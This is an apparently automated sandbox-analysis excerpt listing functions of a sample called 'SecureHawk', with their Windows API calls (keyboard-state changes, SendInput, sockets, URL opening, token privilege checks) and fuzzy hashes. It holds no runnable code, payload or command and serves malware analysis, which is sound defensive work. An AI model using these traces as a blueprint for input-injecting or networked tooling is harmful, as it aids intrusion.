Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 2a6c54ef5b8d191a67a067ef5be7f28eb05188bcaaf696c6ed3e6dd9819585e1
Instruction ID: 6e83ecb38c6cab4ac882cee358350d188d7633e31638a1ab06dc80e60b27000b
Opcode Fuzzy Hash: 2a6c54ef5b8d191a67a067ef5be7f28eb05188bcaaf696c6ed3e6dd9819585e1
Instruction Fuzzy Hash: EE518C71104311AFD312EF20DC86E6BB7E8EF98750F10492DF595972A2EB70E908CB92

Function 00379BE1 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00379C50
ScreenToClient.USER32(00000002,00000002), ref: 00379C83
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00379CF0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f352ea3c5f0ba1cf0ce1866e32b3076525b4c6a9bbd82151108f2b167f534d51
Instruction ID: 7ffd9d2b2a6124f078a2018b18dc853f82956b834ce7adcddc8597ed587206c3
Opcode Fuzzy Hash: f352ea3c5f0ba1cf0ce1866e32b3076525b4c6a9bbd82151108f2b167f534d51
Instruction Fuzzy Hash: 61515E71A00209EFCF26DF54C881AAE7BF6FF45360F11825AF9199B2A1D734AD41CB90

Function 0031485A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003148F0
__flush.LIBCMT ref: 00314910
__write.LIBCMT ref: 00314943
__flsbuf.LIBCMT ref: 00314971

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 0026fc4de93bf7faf9fae20565400f17ff7c17a1aa7c4b07e8a63e830ef2adbf
Instruction ID: 0b9e07cba8657325f9d862eaffd256c82d2c3c142b66c2f44d3837dd43c59cf1
Opcode Fuzzy Hash: 0026fc4de93bf7faf9fae20565400f17ff7c17a1aa7c4b07e8a63e830ef2adbf
Instruction Fuzzy Hash: 3941E671A007069BDB1E8F69C8809EF77A9AF8D360B24813DE455C7640D771DDC18B40

Function 0034A41B Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0034A46D
__itow.LIBCMT ref: 0034A49E

Part of subcall function 0034A6EE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0034A759

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0034A507
__itow.LIBCMT ref: 0034A55E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 654352b07c86401ce83337383ba8e742b604005fe942ef23dc32454472620462
Instruction ID: d51264d6d1cbf553b5485c0be3fe425e062ec37ea3d6ca00b061a37a2efcebc6
Opcode Fuzzy Hash: 654352b07c86401ce83337383ba8e742b604005fe942ef23dc32454472620462
Instruction Fuzzy Hash: B9418170A40208ABDF12DF54C859BFE7BF9EF45750F040069F905AB391DB74AA44CBA2

Function 00366E5A Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00366E81
WSAGetLastError.WSOCK32(00000000), ref: 00366E91

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00366EF5
WSAGetLastError.WSOCK32(00000000), ref: 00366F01

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 9fca55039b1e3752788d72bb8c623fba907e611591fcd115b07d114834d8ccb4
Instruction ID: 98bc8ac56b68b9ea2fb514feebf6dc337ea2f3201b1a0e0490f0034a5bc195d9
Opcode Fuzzy Hash: 9fca55039b1e3752788d72bb8c623fba907e611591fcd115b07d114834d8ccb4
Instruction Fuzzy Hash: 0D419175650204AFE721BF24DC87F3AB7E89B04B94F448468FA599F2D2DBB09D108F91

Function 003668CA Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00380980), ref: 00366957
_strlen.LIBCMT ref: 00366989

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 68571df72d36422c17ef086943f53179ec3663cd34a7e63bc245eb6c1367ad8b
Instruction ID: 8f84fe99db9f9a7445d495f63b7d06f4f2cc7c892eb8aa2032e3d46b065a7d59
Opcode Fuzzy Hash: 68571df72d36422c17ef086943f53179ec3663cd34a7e63bc245eb6c1367ad8b
Instruction Fuzzy Hash: 6141A671A00104AFCB16FBA4DCD2EBEB7A9AF48350F14C155F9169B2D2DB30AD45CB90

Function 00378C3E Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00378CCB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 9a0fdf50d3b69ebe8a946f6293161ee7b15aeb41f550e28b32868cb63642de93
Instruction ID: 87fb141988edb0a5c2839cfb05adba7014e3b0ec85c72000ccdf412024df7a25
Opcode Fuzzy Hash: 9a0fdf50d3b69ebe8a946f6293161ee7b15aeb41f550e28b32868cb63642de93
Instruction Fuzzy Hash: 8C313734681108BFEF379F18CC8DBA8B769EB05310F25C112FA09E66E1CF3899509B61

Function 0037AF24 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0037AF4D
GetWindowRect.USER32(?,?), ref: 0037AFC3
PtInRect.USER32(?,?,0037C437), ref: 0037AFD3
MessageBeep.USER32(00000000), ref: 0037B044

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 370efa1522c42f67f2b7aaf1c6a626edb4b88b5067a83584c54009d525f88c7d
Instruction ID: 545565e84f6b75b1801ea754956d73e429dc747cb447f84c859585b5a072d27e
Opcode Fuzzy Hash: 370efa1522c42f67f2b7aaf1c6a626edb4b88b5067a83584c54009d525f88c7d
Instruction Fuzzy Hash: 2D418B71A00208DFCB22CF58C885B6EBBF9FB89310F1581A9E528DB252D739A941DB51

Function 00351141 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00351192
SetKeyboardState.USER32(00000080,?,00000001), ref: 003511AE
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00351214
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00351266

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 755e5c00a3f29c2aa367146003d2b56c42a71d0db4f468f672d3c639c0d2c4e1
Instruction ID: fe7bbb6bfa42524d49640e265de21df9266c7f06781386a388fd96ef8fbcc279
Opcode Fuzzy Hash: 755e5c00a3f29c2aa367146003d2b56c42a71d0db4f468f672d3c639c0d2c4e1
Instruction Fuzzy Hash: 5E316B309846485EFF37CA258C05FF9BB69AB45312F08464AFD84D21F1D3748E5D9BA1

Function 0035127C Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 003512D1
SetKeyboardState.USER32(00000080,?,00008000), ref: 003512ED
PostMessageW.USER32(00000000,00000101,00000000), ref: 0035134C
SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 0035139E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b11c27ca339952a2bd96e8c074d7a6ea7c82892c8e3fd250f688cfce70fd6fea
Instruction ID: 107e6533bc2168050934d0d43c30f48e71a2536733903db17ea95005ede48f5d
Opcode Fuzzy Hash: b11c27ca339952a2bd96e8c074d7a6ea7c82892c8e3fd250f688cfce70fd6fea
Instruction Fuzzy Hash: FE316B34D442089EFF278A28C824FFABB69AF45312F08420AEC80465F0D3348D5C8791

Function 00326325 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0032635B
__isleadbyte_l.LIBCMT ref: 00326389
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 003263B7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 003263ED

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9465f67319dfa410bd927db7d84cca7992a79ac4c0afa7a559eff6a23f3494a9
Instruction ID: 9603381a649da45fc6aaf91f46bb6c00b4048d9543cf48c4bab9a0a98e3b2724
Opcode Fuzzy Hash: 9465f67319dfa410bd927db7d84cca7992a79ac4c0afa7a559eff6a23f3494a9
Instruction Fuzzy Hash: 6731B235600266EFDB27DF25EC86BAA7BB9FF41320F164068F9548B1A1D731D890DB90

Function 003752F3 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00375307

Part of subcall function 003539A1: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 003539BB
Part of subcall function 003539A1: GetCurrentThreadId.KERNEL32 ref: 003539C2
Part of subcall function 003539A1: AttachThreadInput.USER32(00000000,?,0035542D), ref: 003539C9

GetCaretPos.USER32(?), ref: 00375318
ClientToScreen.USER32(00000000,?), ref: 00375353
GetForegroundWindow.USER32 ref: 00375359

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: f456278b274fee20fffa6765c1a4a9b0f9d7f27829ffa4fceab1865b9001540a
Instruction ID: 67ad543f40e5779cc5845415f2f48faed5d14ff9bc12adc68c251b9121ccde14
Opcode Fuzzy Hash: f456278b274fee20fffa6765c1a4a9b0f9d7f27829ffa4fceab1865b9001540a
Instruction Fuzzy Hash: F5314F72900208AFDB15EFA5C8819EFF7FDEF94304F10406AE915E7211DAB1AE048FA1

Function 0037C8BB Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

GetCursorPos.USER32(?), ref: 0037C8F5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0032BC1C,?,?,?,?,?), ref: 0037C90A
GetCursorPos.USER32(?), ref: 0037C957
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0032BC1C,?,?,?), ref: 0037C991

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 77398d7233b535b7179b30f50d0a1fd96ca3a73ba416db873c496fa18c914932
Instruction ID: 08e9c5da6a04b3e9598a5856e3f42c7179376e96a88f7c3401de6021e9e4258e
Opcode Fuzzy Hash: 77398d7233b535b7179b30f50d0a1fd96ca3a73ba416db873c496fa18c914932
Instruction Fuzzy Hash: FD31D235610118EFCB668F54C8A5EFA7BB9EB4B310F0581ADFA0987261C7399D50DFA0

Function 00310AEB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00310B0D

Part of subcall function 0030402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00357CBE,?,?,00000000), ref: 00304041
Part of subcall function 0030402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00357CBE,?,?,00000000,?,?), ref: 00304065

_fprintf.LIBCMT ref: 00310B44
OutputDebugStringW.KERNEL32(?), ref: 0034672F

Part of subcall function 00314BFA: _flsall.LIBCMT ref: 00314C13

__setmode.LIBCMT ref: 00310B79

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 327a2c71ada1b5e5fab7e419488827f4a6aa137e16f01e9fc67c03301c202d43
Instruction ID: c4f86e402bb6b81a4e09e8792b8e16e83f1776ad1290671eec8c89528cbd3095
Opcode Fuzzy Hash: 327a2c71ada1b5e5fab7e419488827f4a6aa137e16f01e9fc67c03301c202d43
Instruction Fuzzy Hash: 1D1124729042046ADA0FB7A89C43DFEBB6D9F49324F144165F204AB1C2EEA199C687A5

Function 00349057 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00348B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00348B22
Part of subcall function 00348B0B: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00348B2C
Part of subcall function 00348B0B: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B3B
Part of subcall function 00348B0B: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B42
Part of subcall function 00348B0B: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B58

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 003490A4
_memcmp.LIBCMT ref: 003490C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 003490FD
HeapFree.KERNEL32(00000000), ref: 00349104

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 9aa6fbabd8a38441b4fa1b14b7e4dcff8575033f1dbdea43f102192cf9d48a69
Instruction ID: b762ecb29bf263b849b552ba5b6f7caa80db2a91ad0ba4efaab55f442d6f912d
Opcode Fuzzy Hash: 9aa6fbabd8a38441b4fa1b14b7e4dcff8575033f1dbdea43f102192cf9d48a69
Instruction Fuzzy Hash: 1A219D72E40209AFDB15DFA5C989BEFB7F8EF44311F05409AE845AB241E771AA05CB50

Function 00361C17 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00361C53

Part of subcall function 00361CDD: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00361CFC
Part of subcall function 00361CDD: InternetCloseHandle.WININET(00000000), ref: 00361D99

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: f7f99459ef4a8df61250562ea114e86af3de8fc89b1e650322f17d84faeb6a22
Instruction ID: 71b1c160254b40f920e43490e19ce03160100f877251d33e25a41af399f33aff
Opcode Fuzzy Hash: f7f99459ef4a8df61250562ea114e86af3de8fc89b1e650322f17d84faeb6a22
Instruction Fuzzy Hash: C821C235680B04BFDB179F608C00FBFB7ADFF84700F14801AFA4196A54D771A821AB90

Function 00376116 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00376185
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0037619F
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003761AD
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 003761BB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 668d60c45547e7380e16ac30e9a17d7f01b4b8a55fa366878bf3d475d644a90a
Instruction ID: aab5a0f9c67cb020e1dac6ffd77c7143560e30b142181b43c33f1cbdbe9baabb
Opcode Fuzzy Hash: 668d60c45547e7380e16ac30e9a17d7f01b4b8a55fa366878bf3d475d644a90a
Instruction Fuzzy Hash: C811D635354914AFD716AB14CC5AFBA779DEF45320F048118F916CB2D2CB64AD04CB90

Function 0034E23D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0034F63B: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0034E252,?,?,?,0034F045,00000000,000000EF,00000119,?,?), ref: 0034F64A
Part of subcall function 0034F63B: lstrcpyW.KERNEL32(00000000,?,?,0034E252,?,?,?,0034F045,00000000,000000EF,00000119,?,?,00000000), ref: 0034F670
Part of subcall function 0034F63B: lstrcmpiW.KERNEL32(00000000,?,0034E252,?,?,?,0034F045,00000000,000000EF,00000119,?,?), ref: 0034F6A1

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0034F045,00000000,000000EF,00000119,?,?,00000000), ref: 0034E26B
lstrcpyW.KERNEL32(00000000,?,?,0034F045,00000000,000000EF,00000119,?,?,00000000), ref: 0034E291
lstrcmpiW.KERNEL32(00000002,cdecl,?,0034F045,00000000,000000EF,00000119,?,?,00000000), ref: 0034E2C5

Strings

cdecl, xrefs: 0034E2BC

Memory Dump Source

